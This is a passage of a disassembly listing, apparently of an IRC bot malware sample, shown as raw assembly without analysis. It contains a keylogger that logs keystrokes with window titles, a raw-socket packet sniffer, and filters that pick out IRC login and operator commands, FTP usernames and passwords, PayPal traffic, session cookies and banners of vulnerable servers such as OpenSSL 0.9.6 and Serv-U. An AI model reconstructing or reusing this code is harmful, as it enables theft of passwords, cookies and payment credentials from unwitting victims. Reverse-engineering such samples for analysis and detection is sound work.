		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: sub_4125FC+25j
		add	esi, 80h
		cmp	esi, offset dword_436450
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: sub_4125FC+10j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: sub_4125FC+6Ej
		xor	eax, eax
		leave
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126A7	proc near		; DATA XREF: sub_401ACD+7374o

var_920		= dword	ptr -920h
var_91C		= byte ptr -91Ch
var_520		= byte ptr -520h
var_4E0		= byte ptr -4E0h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_58		= dword	ptr -58h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 920h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_920], 0
		push	26h
		and	[ebp+arg_0], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_E0]
		rep movsd
		mov	dword ptr [eax+94h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_91C]
		rep stosd
		call	dword_4CB968	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB980	; GetWindowTextA
		mov	ebx, 200h


loc_412702:				; CODE XREF: sub_4126A7+4A0j
		push	8
		call	dword_427080	; Sleep
		call	dword_4CB968	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	loc_41287A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB980	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	loc_4127FF
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_4127B8
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jnb	short loc_4127B8
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_4127B8:				; CODE XREF: sub_4126A7+9Bj
					; sub_4126A7+AAj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_41287A
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_41287A
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		jmp	short loc_412833
; ---------------------------------------------------------------------------


loc_4127FF:				; CODE XREF: sub_4126A7+86j
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_412925
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
		push	eax
		call	sub_41C266
		sub	esp, 88h


loc_412833:				; CODE XREF: sub_4126A7+156j
		push	26h
		lea	eax, [ebp+var_48]
		pop	ecx
		lea	esi, [ebp+var_E0]
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_41287A:				; CODE XREF: sub_4126A7+6Cj
					; sub_4126A7+120j ...
		cmp	[ebp+var_58], 0
		jz	loc_412925
		push	1
		call	dword_4CB9B0	; GetAsyncKeyState
		cmp	ax, 8001h
		jnz	loc_412925
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_412925
		call	dword_4CB968	; GetForegroundWindow
		lea	ecx, [ebp+var_520]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB980	; GetWindowTextA
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		lea	eax, [ebp+var_520]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_412925:				; CODE XREF: sub_4126A7+164j
					; sub_4126A7+1D7j ...
		mov	[ebp+var_4], offset dword_436454


loc_41292C:				; CODE XREF: sub_4126A7+496j
		push	10h
		call	dword_4CB8B8	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+var_4]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CB9B0	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_4129C4
		push	14h
		call	dword_4CB8B8	; GetKeyState
		test	ax, ax
		jz	short loc_412975
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412975
		cmp	edi, 40h
		jle	short loc_412975
		cmp	edi, 5Bh
		jge	short loc_412975
		mov	[ebp+edi*4+var_920], 1
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_412975:				; CODE XREF: sub_4126A7+2ADj
					; sub_4126A7+2B2j ...
		push	14h
		call	dword_4CB8B8	; GetKeyState
		test	ax, ax
		jz	short loc_4129A0
		test	esi, esi
		jge	short loc_4129B4
		cmp	edi, 40h
		jle	short loc_4129A0
		cmp	edi, 5Bh
		jge	short loc_4129A0
		mov	[ebp+edi*4+var_920], 2
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: sub_4126A7+2D9j
					; sub_4126A7+2E2j ...
		test	esi, esi
		jge	short loc_4129B4
		mov	[ebp+edi*4+var_920], 3
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129B4:				; CODE XREF: sub_4126A7+2DDj
					; sub_4126A7+2FBj
		mov	[ebp+edi*4+var_920], 4
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129C4:				; CODE XREF: sub_4126A7+2A0j
		mov	esi, [ebp+edi*4+var_920]
		lea	eax, [ebp+edi*4+var_920]
		test	esi, esi
		jz	loc_412B32
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2E0]
		cmp	edi, 8
		push	eax
		jnz	short loc_4129FC
		call	sub_41B9C0
		and	[ebp+eax+var_2E1], 0
		pop	ecx
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129FC:				; CODE XREF: sub_4126A7+340j
		call	sub_41B9C0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_412A42
		call	dword_4CB968	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB980	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412A30
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
		jmp	short loc_412A85
; ---------------------------------------------------------------------------


loc_412A30:				; CODE XREF: sub_4126A7+379j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A42:				; CODE XREF: sub_4126A7+360j
		cmp	edi, 0Dh
		jnz	loc_412B04
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jz	loc_412B32
		call	dword_4CB968	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB980	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412A96
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Return ; ".».%s.«. (Return)"


loc_412A85:				; CODE XREF: sub_4126A7+387j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_412AB5
; ---------------------------------------------------------------------------


loc_412A96:				; CODE XREF: sub_4126A7+3D0j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_ReturnS ;	".».%s.«. (Return) (%s)"


loc_412AA6:				; CODE XREF: sub_4126A7+399j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_412AB5:				; CODE XREF: sub_4126A7+3EDj
		sub	esp, 98h
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_412B32
; ---------------------------------------------------------------------------


loc_412B04:				; CODE XREF: sub_4126A7+39Ej
		cmp	esi, 1
		jz	short loc_412B1D
		cmp	esi, 3
		jz	short loc_412B1D
		cmp	esi, 2
		jz	short loc_412B18
		cmp	esi, 4
		jnz	short loc_412B32


loc_412B18:				; CODE XREF: sub_4126A7+46Aj
		push	[ebp+var_4]
		jmp	short loc_412B24
; ---------------------------------------------------------------------------


loc_412B1D:				; CODE XREF: sub_4126A7+460j
					; sub_4126A7+465j
		mov	eax, [ebp+var_4]
		add	eax, 7
		push	eax


loc_412B24:				; CODE XREF: sub_4126A7+474j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41C8A0
		pop	ecx
		pop	ecx


loc_412B32:				; CODE XREF: sub_4126A7+2C9j
					; sub_4126A7+2F4j ...
		add	[ebp+var_4], 14h
		cmp	[ebp+var_4], offset dword_436B84
		jl	loc_41292C
		cmp	[ebp+arg_0], 0
		jz	loc_412702
		push	[ebp+var_DC]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_4126A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B61	proc near		; DATA XREF: sub_401ACD+4150o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C500
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4CB9E4	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CBA64	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_412C36
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_4375A4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C19
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412C19:				; CODE XREF: sub_412B61+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412C36:				; CODE XREF: sub_412B61+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412CBB
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_437578
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C97
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412C97:				; CODE XREF: sub_412B61+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412CBB:				; CODE XREF: sub_412B61+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CB990	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D3E
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_437548
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412D1A
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412D1A:				; CODE XREF: sub_412B61+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412D3E:				; CODE XREF: sub_412B61+177j
		push	ebx
		mov	ebx, offset dword_436C60


loc_412D44:				; CODE XREF: sub_412B61+21Bj
					; sub_412B61+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB9FC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E71
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412D44
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412D44
		lea	eax, [ebp+var_1028C]
		push	offset dword_43753C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D44
		lea	eax, [ebp+var_1028C]
		push	offset dword_43752C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D44
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_412D44
		mov	[ebp+arg_0], ebx


loc_412DCD:				; CODE XREF: sub_412B61+287j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DEF
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412DCD
		jmp	loc_412D44
; ---------------------------------------------------------------------------


loc_412DEF:				; CODE XREF: sub_412B61+27Dj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CB914	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_436C74[eax*8]
		push	off_436C50[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_4374F8
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412E5F
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412E5F:				; CODE XREF: sub_412B61+2DCj
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		jmp	loc_412D44
; ---------------------------------------------------------------------------


loc_412E71:				; CODE XREF: sub_412B61+20Ej
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset dword_4374CC
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412EB7
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412EB7:				; CODE XREF: sub_412B61+334j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_412B61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE744, eax
		mov	eax, offset dword_4CE744
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: .packed:off_43ACE8o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
